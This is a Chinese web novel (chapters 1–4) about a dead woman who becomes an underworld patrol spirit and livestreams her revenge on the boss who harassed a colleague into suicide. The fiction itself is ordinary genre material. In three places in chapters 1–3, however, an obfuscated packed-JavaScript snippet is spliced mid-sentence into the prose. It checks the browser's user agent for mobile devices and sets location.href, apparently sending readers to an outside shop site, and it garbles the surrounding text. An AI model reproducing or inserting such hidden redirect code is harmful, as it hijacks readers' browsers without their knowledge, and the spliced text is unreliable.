《我在地府当悍警》 1. 第 1 章 “就她是十世善人?性格这么冲动,最后一世没有功德圆满也是天意。” “她这辈子投胎出了问题,本该平和顺遂过一生,却投胎到了警察家庭,性格自然受了影响。” “虽然杀了人,但是用意是救人,不应该磨灭她的本意。” “难不成你还想让她和我们平起平坐?” “可惜,就差半步……” 林正文是在一片嘈杂的争论声中恢复意识的。 那些声音像隔着一层厚玻璃,没头没尾,让人听了烦躁。 她皱眉大喊:“能不能安静点!” 还没睁开眼,就是一个鲤鱼打挺翻身站起。 下一秒,林正文发现自己站在一座昏暗的大殿里,脚下是青黑色的石板,周围弥漫着若有若无的灰色雾气。 抬头望去,高高的台阶尽头是十张呈扇形排列的桌案,后面都坐着一个人。 左边六个穿着不同颜色的古装,右边四个则是统一的暗红。 他们正对着她指指点点,语气里满是评判。 “醒了。” 最中间那个红袍官员皱眉看着林正文,不满她刚才的放肆。 “好好想想之前发生了什么,再开口说话。” 林正文揉了揉太阳穴,记忆碎片涌上来—— 夏日傍晚、小巷、持刀的歹徒、惊恐的女人……最后的印象是自己中刀后反手抄起的板砖。 林正文记得,自己使尽全身的力气,一下砸在对方天灵盖上。那清脆的开瓢声,好像刚刚发生的事。 之后就彻底断电了。 哦……她死了。 大腿动脉中刀,意识消失前已经出现濒死症状,那么大的失血量,肯定没救了。 “林正文。”主位红袍?官员翻开厚重的簿册,“阳寿未尽,意外枉死,且故意杀人,功德有瑕。十世善人最后一世,未能功德圆满。” “十世善人?我?”林正文站直身子,歪着头打量这十个人。 全都是男的,高高在上,对她的所作所为指手画脚。 她扯着嘴角翻了个白眼:“所以呢?各位领导打算怎么处置我?” 语气里的痞气让几个官员皱起眉头。 右侧第二位红袍判官开口:“按理说,十世善人本该功德圆满,死后便成鬼将,说不定还能与我等平起平坐。” “但你最后一世行事偏激,虽为救人,却夺人性命,即便按照阳间程序——” “程序?算我防卫过度?”林正文打断他,冷笑,“那孙子都要脱裤子了,五大三粗的男人,如果我不对准要害下狠手,现在站在这的就是两个女人!” “放肆!”左侧一位功曹呵斥。 林正文耸耸肩,饶有兴致地打量自己半透明的身体。 “行吧,我也不稀罕什么功德圆满,各位领导说什么就是什么。别说那些没用的了,给我个痛快,下油锅还是上刀山?” 十人交换眼神。 中间那位主判官缓缓道:“经六案功曹与四大判官合议,十世善人功德未满,虽然行为过当,但本意为善。暂授你‘日夜游神’之职,巡查阴阳两界,将功补过。待功德圆满,再论去处。” “游神?”林正文挑眉,“听着挺威风。” “可自由行走阴阳,辖区有任何异常,都要按规矩上报。”另一判官补充。 林正文“嗤”了一声。她生前最烦的就是“按规矩”三个字。 不过她也没多说,语速飞快地转话问道:“什么时候上岗?有武器吗?五险一金交不交?有没有升职前景……” 一连串问题让几个官员脸色发青。 主判官挥手朝她弹出一道金光:“即刻上任。辖区已定,可与土地城隍一起摸索。退下吧。” 话音刚落,林正文脚下陡然一空。她“卧槽”一声,整个人往下坠。 林正文却不知道,自己离开后,十个地府官员脸上的表情渐渐变了。 “十世善人……”一个刚才没说话的人冷冷道,“若真让她功德圆满,这地府的格局怕是要变。” “所以她不能圆满。”主判官的声音里没了刚才的威严,只剩下一片冰冷,“给她个虚职,让她胡闹。阴阳秩序最是脆弱,只要她捅出几个大娄子,自有天道惩罚。” 另一人轻描淡写地笑道:“游神之职,看似自由,实则无兵无权。她若冲动行事,扰乱阴阳,便是大罪。届时……十世功德也保不住她。” “可她毕竟是善人,若真能安守本分……”一位白面判官犹豫。 “安守本分?”主判官嗤笑,“就她那性子?满身的戾气和凶性,看到人为恶就能一板砖把人拍死。不知道的还以为凶神转世。现在成了游神,有点小能力,她能忍住不‘替天行道’?” 十人相视而笑。 “等着吧。”一位功曹整理着卷宗,“不出三日,必有乱子。” …… 林正文好像只是踩空了一下,再站稳时,发现自己出现在一条熟悉的街道上。 是她家所在的城区。 傍晚时分,路灯明亮,行人匆匆。 林正文本能地向旁边躲闪,身体却忽地飘出好几米。 “真成鬼了。”她嘟囔一句,随即眼睛一亮,“先回家看看!” 鬼气本能地在周身环绕,林正文径直朝着家的方向飘去——牛顿的棺材板都压不住了,忽视了重力和阻力,她现在速度快得离谱。 不等她兴奋,新的问题出现了。 鬼气操控不熟练,林正文忽而窜上天,忽而又砸下地面,整个人像个弹球一样在夜空中跳来跳去。 “哇哦——!!!啊!哈哈!好爽啊!” 有了能飞的能力,再让她一步步走又不甘愿,折腾了一个多小时,才好不容易差一条街就到家了。 就在这时她突然瞥见一栋高层的楼顶,好像站着一个人影。 林正文倒吸一口气,身体使劲后仰,惯性向前飘了十几米才停下。 日夜游神的职责在脑海中浮现——发现“将死未死”者,立即上报辖区无常。 “上报?”林正文盯着那人摇摇欲坠的背影。 她毫不犹豫地转向,朝着楼顶飞去。 高层楼顶,夜风很大。 女人看不清长相,穿着职业装,头发被吹得凌乱。她正低着头,肩膀在无声的抖动。 林正文落在她身后三米处,捏着嗓子,声音轻的生怕吓到对方。 “喂,小姐姐,上面风大,你站在那不冷吗?” 对方毫无反应。 林正文这才想起自己是魂体,普通人看不见也听不着。走近几步,尝试伸手去拉女孩的手臂——手指直接穿了过去。 “靠。”她咬牙,换个方向,想看看对方的情况,再想办法报警。 谁料,林正文刚看清对方脸颊上的泪水,她就突然往前一跳。 “不——等一下!!!” 林正文大惊,往前扑试图抱住她,却只能眼睁睁看着对方从自己怀里穿过。 “啪嗒。”什么东西从年轻女人手中滑落。 消瘦的身影向下坠落,直到消失在夜色中。 几秒后,楼下传来闷响和刺耳的尖叫。 林正文失神地站在半空,整个人无法动弹,拳头缓缓握紧。 她生前救过人,也失过手,但从没这样无力过——明明就在眼前,却什么都做不了。 下意识看向东西坠落的方向,发现是部手机。屏幕还亮着,停留在某个社交平台的私信界面。密密麻麻的消息全是辱骂: “去死吧贱人!活着浪费空气。” “假装抑郁症博同情?戏真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094188|195584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多。” “长得那么丑,狗都看不上你!还说你老板性骚扰?” “不说想死吗?用不用我给你买药!作秀给谁看?” …… 最新一条是十分钟前发的:“要死快点,等着看新闻呢。” 林正文盯着那些字,感觉有火从胸腔燃起。 她生前最恨两件事:一是犯罪,二是欺凌。现在这两样全齐了。 手机突然震动,来电显示“妈妈”。铃声一遍遍响,直到自动挂断。然后又响起来。 林正文蹲下来,看着屏幕上来回跳动的“妈妈”两个字。她想起自己死的那天,手机落在巷子里,也许妈妈也这样一遍遍打过。 眼眶突然有点酸,好像有什么东西流了出来。 她不自在地低声骂了一句。 正准备下去看看,身后却传来细微的啜泣声。 林正文回头,就看见一个魂魄正缩在楼顶水箱旁,抱着膝盖哭。 新死的亡魂淡得像透明的雾,身上却笼罩着一层灰色的气,那是怨气。 按照规程,游神现在应该通知本地无常,渡魂下地府。 不管她有什么不甘,都不能滞留阳间。阳寿未尽的鬼在地府要去枉死城暂住,直到原本寿终的日子,或仇人入地府。 这期间,若是遇到好心的修行者,或许能被超度一下,但更多的冤魂只能在痛苦中煎熬。 林正文站起来,走到女人面前。 那人低着头,一边哭一边机械地重复着:“为什么……为什么要这样对我……” “喂。”林正文开口,这次她们不是阴阳两隔,对方应该能感知到自己了。 果然,听到声音,女人的魂魄颤动一下,缓缓抬起头。 “你……”她睁大眼睛。 “我叫林正文,这片区的新任游神。”林正文干脆盘腿在她面前坐下,“刚才想拉你,没拉住,对不起啊。” 女人呆呆看着她。 “不过话说回来,”林正文指了指地上的手机,“那些骂你的人,是谁?” 女人摇头,眼泪又掉下来:“都是陌生人……我在网上发了一篇工作被骚扰的帖子,他们就……” “明白了。”林正文站起来,“想报仇吗?” 女孩愣住:“……报仇?” “那些逼死你的人,不该付出代价?”林正文咧嘴笑,笑容里带着痞气和狠劲儿,“我这人吧,生前就爱管闲事。现在死了,更没什么顾忌。” “可是……这允许吗?” “谁知道呢?”林正文耸肩,“老娘乐意。” 青嫩的面孔说着故作老成的话,让肖晴短暂地破涕为笑了一下。 林正文伸出手:“跟我走。正好试试我新得的手段,把那些杂碎一个个揪出来。” 说着,她虚空抓握了一下,正气在眉宇间跳跃,仿佛整个世界都不应该有任何罪恶。 肖晴犹豫着,把手递过去。 就在两只手触碰的瞬间,林正文耳边响起—— 【检测到强烈‘惩奸除恶’意愿与‘超度’契机】 【阴阳直播系统激活】 【绑定宿主:林正文】 【职位:日夜游神】 【等级:初级鬼差】 【新手任务开启:超度冤魂‘肖晴’,惩戒施害者】 【任务奖励:根据功德值与香火值结算】 冰冷机械的声音直接在她脑中响起。同时,一个半透明的界面浮现在眼前,左边是她的基本信息,右边是任务列表,最下方有“开启直播”的按钮。 林正文眨眨眼:“系统?” 【本系统联通阴阳两界,宿主可通过直播惩恶扬善,获得阳间观众打赏与满意值,转化为香火值。超度冤魂可直接获得功德值。二者可用于提升实力、兑换物品】 2. 第 2 章 【本系统联通阴阳两界,宿主可通过直播惩恶扬善,获得阳间观众打赏与满意值,转化为香火值。超度冤魂可直接获得功德值。 二者可用于提升实力、兑换物品。】 冰冷的机械音在林正文脑子里回响。 她愣了两秒,然后咧嘴笑了:“系统?还真有这东西?” “什么……系统?”肖晴怯生生地问,她身上淡灰色的怨气随着情绪波动微微起伏。 “你看不见吗?”林正文怔了一下,指向面前虚空。 肖晴茫然的摇头。 “这是给我开挂了?”林正文兴致勃勃地打量眼前半透明的界面,“看来老天都觉得那些家伙该死!” 界面很简洁:左上角是她的基本信息—— 【宿主:林正文】 【职位:日夜游神】 【等级:初级鬼差(鬼气值:3)】 【功德值:0】 【香火值:0】 【武器:无】 【技能:无】 中间是任务栏,显示着【新手任务:超度冤魂‘肖晴’,惩戒施害者(进行中)】。 右下角还有个醒目的红色按钮:【开启直播】。 林正文搓手:“系统,有没有办法找到那些害她的人?” 【请使用‘因果追踪’功能】 【检测到新手福利:免费追踪次数×1】 【是否使用?】 “用!” 话音刚落,林正文眼前的视野变了。 无数条细若游丝的线从肖晴身上延伸出去,像一张巨大的蜘蛛网,散向四面八方。这些线颜色深浅不一,最淡的几乎透明,最深的几条泛着暗红色。 而其中最粗的一条,血红色,狰狞地扭曲着,直指她们脚下这栋写字楼。 “那是……”肖晴顺着林正文的目光看去,身体开始发抖,“那个男人……” “欺负你的人?”林正文问。 肖晴点头,眼泪又掉下来:“他摸我……我反抗,他就说我想多了,年纪轻轻的就心这么脏……” “根本不是!已经很多次了,电梯里、储藏室、团建的饭店……真的不是我想多了!其他同事也说我——” 见她陷入自证陷阱,林正文赶紧打断她。 “因果追踪不会错!”林正文活动了一下手腕,“走,先找这位老总聊聊。” 她拉着肖晴就要往楼下飘。 “等等!”肖晴突然拉住她,指着那些密密麻麻的细线,“这些是……” “其他帮凶。”林正文眼神冷了下来,“在网上骂你的,转发谣言的,人肉你信息的……一个都跑不了。” 她数了数,暗红色的粗线有两条,一条指向楼下,另一条指向城东。淡红色的线有十几条,灰色的线有上百条。 “有意思,正好省了我一个个找。”林正文迫不及待,把手指捏得咔咔响,“肖晴,想不想看那些害你的人倒霉?” 肖晴咬着嘴唇,眼神里有忐忑,但更多的是不甘:“想……可是,人死了不是要下地府吗?” “地府的流程,还得等人死了下去才能审判。”林正文打断她,“我这人急性子,等不了。现在有了这玩意儿——” 她指了指系统界面。 “咱们可以玩点直接的。” 征询了肖晴的同意后,她毫不犹豫地点下了【开启直播】按钮。 【直播开启中……】 【连接阳间平台‘虎妞直播’……连接成功】 【当前观看人数:1】 一个半透明的虚拟镜头出现在林正文面前,角度正好能拍到她和肖晴,以及她们身后城市的夜景。 “喂喂?看得到吗?”林正文清了清嗓子,对着镜头说。 直播间人数跳到了7。 弹幕稀稀拉拉飘过: 【新主播?这特效可以啊,身体半透明怎么做的?后面的东西都能隐约看见,大手笔!】 【灵异区又有新人?不怕被封?】 【两个妹子这么漂亮,换个赛道吧……】 林正文看着弹幕,拉着肖晴把最后一条指给她看。 “你看,他们说你漂亮呢!” “别听那些人渣们胡说。” 肖晴看着她眼眶酸涩,早已哭干了的眼睛,好像又有东西流出来了。 林正文叉着腰,转头回答那些弹幕:“不是特效,我真死了。昨天刚死,新鲜出炉的鬼魂。” 弹幕多了几条:【哈哈哈主播幽默】【剧本不错】【继续演】。 “行,那就演给你们看。”林正文见他们不信,灵机一动,“系统,直播能拍到因果线吗?别到时候有人说老娘冤枉好人。” 【可消耗1点香火值开启‘阴阳视觉共享’】 “1点?我现在有吗?” 【当前香火值:0】 【提示:观众打赏或产生强烈情绪波动(满意/愤怒/恐惧等)均可转化为香火值。后者直播后结算,前者即时生效。】 林正文看向直播间。 人数已经涨到了八十多,弹幕还在讨论特效和剧本,却没有人对因果线发表什么,确实是看不到。 “各位观众。”她对着镜头怪笑一声,“想不想看个好东西——因果报应,实时显形。” 她指向肖晴身上延伸出去的那些线:“这些线连着所有害死她的人。线越粗,颜色越深,罪孽越重。” 弹幕: 【主播在说什么?什么都没有。” “直播的主题是复仇吗?期待!” “是在搞抽象吗?那我配合一下——哇塞。” “弹幕比主播搞笑,楼上配合的一点都不走心。” 林正文咧嘴:“嘿嘿,想开启新功能,欢迎打赏——” 她突然凑近镜头,露出个皮笑肉不笑的阴冷表情:“有更精彩的内容哦。” 话音落下,弹幕开始密集: “我去!这个表情,有点瘆人了】 【原来是要礼物的新手段】 【打赏打赏,主播继续!】 【你币有了。】 好几个礼物在屏幕上炸开,积少成多,众筹之下很快就到了兑换的最低线。 【收到打赏:100元】 【香火值+1】 林正文眼睛一亮:“谢了!现在给老铁们看点刺激的——” “开启阴阳视觉共享!” 【消耗1点香火值】 【持续时间:10分钟】 直播间画面突然波动了一下,紧接着,所有观众都看到了—— 肖晴身上延伸出去的,密密麻麻的因果线。 弹幕安静了半秒,然后彻底炸了。 【我草!】 【这什么!!】 【我眼花了???】 【好渗人!妈妈我害怕!!!】 观看人数开始疯涨:500……1000……3000…… 打赏提示接连弹出: 【收到打赏:100元】 【收到打赏:500元】 【收到打赏:200元】 【……】 【当前香火值:10】 100元可以兑换1点香火值,100点香火值可以兑换1点功德值,超度一名亡魂也可以获得1点功德值。 林正文看着暴涨的数据,笑容更灿烂了:“谢谢各位老铁!现在,咱们去拜访第一位嘉宾。” “走,咱们先去处理主犯。” 她拉着肖晴,穿过楼顶,向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094189|195584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下飘去。 写字楼第十六层。 凌晨两点半,大部分办公室都黑着灯,只有最里面那间总经理室还亮着微弱的光。 中年男人坐在宽大的老板椅上,盯着电脑屏幕,嘴角带着笑。 屏幕上是一个本地论坛的帖子,标题是《女大学生实习转正不成,反咬老板性骚扰》。 下面已经有几百条回复,大多数都在骂肖晴。 “就是这种人破坏了女性在职场生存空间。” “这种女的就该死。” “赶紧死。” 王友良满意地打开手机银行,给一个号码转了五千块钱。备注:尾款。 刚转完,办公室的灯突然闪了一下。 他皱眉抬头,以为是电压不稳。 灯又闪了一下。 然后,彻底灭了,只有电脑屏幕射出瘆人的蓝光。 “物业干什么吃的……”王友良骂骂咧咧地站起来,准备用手机照明。 就在这时面前的电脑屏幕突然一黑。 再亮起来时,显示的已经不是刚才的界面了,而是一张照片—— 肖晴跳楼前最后一条自拍。 苍白的脸,红肿的眼睛,配文:这个世界,再见。 王友良手一抖,手机“啪”地掉在地上。 “谁……谁在搞鬼?!”他声音发颤,这时才赫然反应过来,办公室都停电了,电脑怎么还亮着。 这时屏幕又变了。 这次是一段视频—— 画面里,王友良把肖晴堵在储藏室的货架前,假借找东西一直往她后背贴。肖晴避无可避,只能拼命挣扎。 “不……不可能!”王友良脸色煞白,“那地方的监控明明坏了!我亲自……” 他猛地闭嘴。 因为一个声音在他身后响起。 “亲自什么?” 王友良浑身僵硬,一点一点转过身。 林正文和肖晴飘在半空中,正阴仄仄地俯视着他。 这会功夫,她摸索到鬼气的一些使用方法。本来游神就可以选择让活人看到,也能接触到活人。 这让林正文越发懊悔刚才没能救下肖晴。 她本来可以的! 想到这,她看向王友良的视线越来越狠。 直播间的视角跟随着林正文,把所有画面都拍了进去。 弹幕已经疯了: “我想起来了,主播身后一直在哭的小姐姐,不就是最近新闻里的女大学生吗!” “那视频是真的?储藏室性骚扰?” “不是说监控坏了吗?那就是假的吧!” “你们清不清楚重点!那女的已经死了!就在刚才,警车和救护车都来了!” “细思极恐!” “AI这么发达,有什么好恐的,死人的热度也蹭。” 直播隔着网线可能作假,但王友良是货真价实的看到了林正文和肖晴,她们身体半透明的飘在窗外! “鬼……鬼啊!!!”他惨叫一声,连滚带爬地往门口跑。 手刚摸到门把手,门突然“咔哒”一声,自动锁死了。任他怎么拧都拧不开。 “跑什么?”林正文穿墙而入,歪头看着他,“王总,做了亏心事,怕鬼敲门?” “不关我的事!是肖晴自己心理承受能力差!”王友良背靠着门,浑身哆嗦,“我就是……就是跟她开个玩笑!” “开玩笑?” 肖晴飘着上前,血泪从眼眶里流出来。 “团建吃饭,故意装醉,把酒往我胸前倒,是开玩笑?把我堵在储藏室,用恶心的地方蹭我,是开玩笑?你故意歪曲事实,发到论坛上,买水军黑我,也是开玩笑?” 她每说一句,就逼近一步,最后几乎脸贴脸。 3. 第 3 章 王友良瘫坐在地上,□□湿了一片——吓尿了。 “我赔钱!我赔钱行不行!”他哭喊着,“我给你家赔钱!多少都行!求求你们放过我……” 林正文看着他的眼睛,冷冷一笑:“赔钱?我告诉你,钱在人命面前一文不值!” “王友良,四十七岁,已婚,有两个孩子。大女儿在上高中,小儿子在读初中。” 王友良愣住了:“你,你怎么知道……” “我还知道,你公司借用各种方式逃税三百万,前年你还欺负了一个女孩,最后用二十万摆平……” 林正文语速很快,像在念清单,“需要我继续说吗?” 这些信息,是因果线自带的个人信息,系统直接显示在她眼前。 新手礼包,果然好用,就怕以后就没办法这么方便了。趁着能用使劲用,把他们的皮都在大众面前彻底扒光! 听到林正文对自己如数家珍,王友良的脸从白变青,彻底灰败下去。 “你……你到底是谁……” 弹幕上也有不少人在问,他们现在已经若有有无的感觉到,这不是特效,是真正的厉鬼复仇。只有少部分人坚持是剧本。 林正文正好借此机会介绍自己:“日夜游神,专门收拾你这种人渣。” “你这种人,阳间法律就算能管,也弥补不了一条人命。” 林正文看似在跟王友良说话,实际则看向镜头,说给所有看直播的人听。 “所以——”她转头看着瘫在地上的王友良:“我们来定个规矩。” 她伸出三根手指。 “第一,天亮之前,去公安局自首,承认你性骚扰肖晴、伪造证据、雇佣水军网暴她的事实。” “第二,开个直播,把你这些年干的脏事,对着镜头,一桩桩一件件,全都发到网上。” “第三,把你公司偷税漏税的钱,十倍补上。” 王友良瞪大眼睛:“十倍?!那要三千万!我哪有那么多——” 林正文打断他:“那就卖房子,卖车,卖公司!” 王友良不说话了。 林正文笑了,就是要他做不到。 “做不到也行。” 她飘到窗边,指了指外面。 “从这儿跳下去,一了百了。我保证,地府那边会给你安排个好位置——十八层地狱听说最近设备升级,新装了几个油锅。” “报我名字给你福利,不让你用别人的二手锅。” 王友良脸色惨白如纸。 直播间的弹幕已经刷疯了,观看人数突破五万,打赏提示就没停过: 【收到打赏:1000元】 【收到打赏:2000元】 【收到打赏:5000元】 【当前香火值:100】 林正文瞥了一眼系统提示,心情大好。 “给你三分钟考虑。”她对王友良说,“三分钟后,如果你还没决定——” 她拍了拍肖晴的肩膀:“想怎么报仇,我帮你弄他。” “不,我要亲自动手!”肖晴身上怨气开始翻涌。 她的脸开始变化,露出恐怖的鬼相。眼睛变成两个血洞,嘴角咧到耳根,喉咙里发出“咯咯”的声响。 王友良发出杀猪般的惨叫,双手在身前胡乱挥舞,闭着眼睛抖如筛糠。 “不!走开!走开!” 林正文退到一边,欣赏着这一幕,顺便看了眼直播间。 弹幕: “虽然很恐怖……但为什么我觉得好爽?” “人渣活该!” “游神大人干得漂亮!” “这才是真正的正义!” 她咧嘴笑了。 但笑容还没完全展开,就僵在了脸上。 一股冰冷的威压突然笼罩了整个办公室。 温度骤降,窗户上结起冰霜。 一个声音从窗外传来,平静,冰冷,带着不容置疑的威严: “游神林正文,私带亡魂滞留阳间,惊吓活人,扰乱阴阳秩序。” “按律,当罚。” 林正文猛地转身。 办公室窗外,不知何时站着一个穿黑色西装的男人。 他头上戴着高高的帽子,脸色苍白,嘴唇乌青,手里拿着一根锁链,锁链末端在空中盘旋扭动,散发着幽幽的寒光。 是黑无常。 【系统提示:检测到本地无常‘范七’,中级鬼差,鬼气值:45】 系统的声音在林正文脑子里响起,还顺便给出了对方的实力数据。 林正文盯着他,手缓缓握紧。虽然实力悬殊,但她的字典里没有“怂”这个字。 肖晴吓得躲到她身后,鬼相收敛,怨气都弱了几分。 范七的目光扫过办公室——瘫在地上的王友良,飘在半空的林正文和肖晴,电脑上的监控视频。 最后,他的目光回到林正文身上。 “刚上任不到两小时,就敢违规。”范七的声音里听不出情绪,“胆子不小。” “这种人活着就是浪费空气!”林正文扬起下巴:“我是在惩恶扬善!” “惩恶扬善,不是你的工作。”范七往前走了一步,来到办公室内,锁链在地上拖出“哗啦”的声响。 “你的职责,是上报,不是私自行动。” “上报?”林正文嗤笑,“上报给你们带她去枉死城?害死她的人就让他们这么逍遥?” 范七皱眉:“这不是你该管的。现在交出亡魂,念你初犯,可从轻发落。” “从轻?怎么个从轻法?”林正文嗤笑,“关禁闭还是扣工资?哦对,我好像还没领过工资呢。” 范七的脸色更白了——气的。 “我偏要管。”林正文挡在肖晴面前,“今天这人,我罩定了。有本事,你就连我一起抓。” 范七盯着她看了几秒。 然后,他手腕一抖。 锁链如毒蛇般窜出,直取肖晴! 林正文想拦,但速度根本跟不上。 就在这时,一道灵光从空中传来,直入范七掌心。 他动作一顿,锁链在半空中停住。 范七似乎是在接收什么信息。几秒钟后,他表情变得极其复杂——震惊、不解。 最后他收回锁链,深深看了林正文一眼。 “你……”范七欲言又止,最终叹了口气,“算了。” 说完,转身离去。 林正文愣住了:“啊?走了?” 肖晴怯生生地从林正文身后探出头,也是一头雾水。 实际上范七并没有走远,而是落在楼顶。 他看着面前的夜空,低声骂了句:“十世善人……上头搞什么鬼?” 刚才从地府传来的指示就七个字——“勿干涉,任其行事。” “任其行事……”他喃喃重复,不满的叹了口气,“这祖宗,可别把我的辖区弄得一团糟。” …… 大楼里,黑无常忽然出现,又突然消失。 不止林正文和肖晴搞不清楚情况,就连弹幕上都空白了一片, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094190|195584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接着零星几条划过: “我又觉得是剧本了,还是个烂剧本。” “短剧都不写这种工具人反派了。” “妆造这么用心,就出场十秒钟?” “在这也搞机械降神,太没逻辑了吧。走了走了。” 林正文和肖晴对视一眼,转头看向从头到尾紧闭双眼,根本不知道发生了什么的王友良。 “正事继续,还剩2分30秒,你好好考虑!” 肖晴则站在旁边一言不发,眼神在王友良和林正文之间来回移动,神情变换,不知道在想什么。 市公安局网安支队值班室。 白安冉打了个哈欠,揉了揉发酸的眼睛。凌晨两点,值班室只有她和同事小李两个人。 她今年二十四岁,大学刚毕业,穿着警服显得很干练。此刻正盯着电脑屏幕,监控着网上,随机捕捉异常动态。 “安冉,喝咖啡不?”同期警员小李端着两杯速溶咖啡走过来,“今晚挺平静的。” “谢了。”白安冉接过咖啡,抿了一口,“平静点好,说明没人搞事。” 她话刚说完,电脑屏幕上突然弹出一个预警提示。 【检测到异常直播内容】 【标签:灵异、地府、复仇】 【平台:虎鱼直播。】 【当前热度上升速度异常。】 白安冉皱眉点开链接。 直播画面跳出来。 画面正中是个半透明的身影,飘在写字楼内部,正对着地上的男人下最后通牒,不远处还有个更淡的影子。 两人看起来都是年轻女性。 “现在的年轻人……”白安冉摇摇头,“搞这种灵异直播,也不嫌晦气。” 她正准备按照流程标记一下,等后续观察,目光却突然定格在主播脸上。 那张脸……有点眼熟。 白安冉凑近屏幕,仔细看了几秒。 然后她手里的咖啡杯“哐当”一声掉在桌上,咖啡洒了一键盘。 屏幕上突然划过几个乱码,紧接着键盘上电光“噼啪”闪动,“砰”一声彻底报废了。 “安冉?”小李吓了一跳。 白安冉没理他,她死死盯着屏幕,脸色煞白。 “不可能……”她喃喃道,“这不可能……” “怎么了?”小李凑过来看屏幕,“这主播谁啊?你认识?” 白安冉颤抖着手去摸手机,却因为手抖得太厉害,好几次都没成功,最后“滋溜”一下滑落在地。 她弯腰捡起来,屏幕已经碎了。 “用我的。”小李赶紧递过自己的手机。 白安冉接过,手指发麻地拨出一个号码。 等待接通的提示音响起,一声,两声,三声…… “喂?安冉?”电话接通了,那头传来一个沙哑疲惫的男声。 “砚安……”白安冉的声音在抖,“你看虎鱼直播……现在,马上……搜‘地府游神办案实录’……” “安冉?你怎么了?出什么事了?”郑砚安的声音紧张起来。 “你看就知道了……”白安冉盯着屏幕,表情怪异,声音发虚。 画面里,那个半透明的主播正翘着二郎腿,坐在王友良的老板椅上,前后摇晃。 “主播……是你妹妹。” 电话那头沉默了足足五秒钟。 “安冉。”郑砚安的声音很沉,“我妹妹死了。尸体还在殡仪馆,明天出殡。” “我知道。”白安冉闭上眼睛,“所以我才让你看。” 4. 第 4 章 郑家客厅。 出殡要用的照片已经准备好了,板板正正的放在电视柜上,正对着客厅。 照片里的林正文穿着警校的制服,笑得张扬,眼睛里有光。 实际上她还没正式入学,录取通知书到的那一天,就迫不及待的找人借了一套。 美滋滋地穿着拍了张照片,当天就把所有账号的头像都换成这个。 林祺瑞坐在沙发上,腰板挺得笔直。五十多岁的省公安厅厅长,此刻却像一夜老了十岁。她没哭,只是眼睛红得吓人。 丈夫郑觉凯坐在她旁边,这个一辈子跟痕迹打交道的技术大队长,此刻正用颤抖的手点烟,点了三次都没点着,最后一把将烟攥碎在掌心里。 郑砚安站在窗前,背对着父母。他刚挂断白安冉的电话,手机还握在手里,指关节捏得发白。 “工作需要,你就去。”林祺瑞声音沙哑的开口,“这有我们。” “是安冉。”郑砚安转过身,表情复杂,“她说……她在直播平台上看到正文了。” 客厅里一片死寂。 郑觉凯手一松,掌心的烟掉在地上。 “胡说什么!”林祺瑞猛地站起来,“郑砚安!你妹妹已经死了!这时候开这种玩笑——” “妈。”郑砚安把手机屏幕转向她,“你看……” 林祺瑞盯着儿子看了几秒,然后一把夺过手机。 直播画面里,林正文把腿翘在办公桌上,整个人往后仰靠,似乎有些等得无聊,正撅着下唇有一搭没一搭的吹流海。 “这是……”林祺瑞的手开始抖。 “AI换脸?特效?”郑觉凯也凑过来,技术人员的本能让他开始分析,“但这个动作……不是和她有过密切接触的熟人,不可能做的这么像。” 这坐没坐相的样子,简直就是林正文本人在世。 林祺瑞死死盯着屏幕里女儿那张熟悉到骨子里的脸。 她的头发遗传自己,有自来卷,还碎,就算全向后拢,也会有不少碎发掉下来挡住眼睛。 正文最烦那几根头发了,有事没事就噘嘴往上吹。 就连吹刘海时眼睛往斜下方瞄的小动作都一模一样——这是她养了十八年、看了十八年的女儿。 手机在她掌心微微震动,她指尖发白,喉咙像被什么堵住了。 “老郑……”她声音干涩。 郑觉凯凑得更近,几乎把脸贴在屏幕上。这个跟了一辈子现场的老痕检,此刻用研判物证的眼光审视着直播画面:光影角度、背景细节、人物的微表情和下意识小动作。 “是她。”郑觉凯声音发颤,下了结论,“不是技术合成,这就是正文!” 郑砚安站在父母身后,看着屏幕里妹妹那副吊儿郎当的样子,嘴角向上扯了一下,眼眶却瞬间红了。 之前强撑着的坚强瞬间垮塌,眼泪断了线似的流下来。 “死丫头……” 他使劲用袖子抹了一把脸,却把眼睛蹭的更红了,又哭又笑的,哪还有中队长的样子。 就在这时,三人的手机几乎同时响起。 林祺瑞的是工作手机,来电显示是省厅值班室。郑觉凯的是市局技侦支队的同事。郑砚安的是刑侦中队的下属。 三个人对视一眼,各自接起。 “厅长,打扰您休息了。”值班室那边的声音小心翼翼。 “网安那边监测到一个异常直播,平台是虎鱼,内容涉及……呃,灵异复仇。平台没有办法封禁,似乎有第三方力量在强行维护直播。” “主播的样貌特征识别出来……很像您女儿。已经有群众报警了,我们这边需要您指示……” 对面的人语气小心翼翼,可能这辈子都没经历过这么离谱的事情。 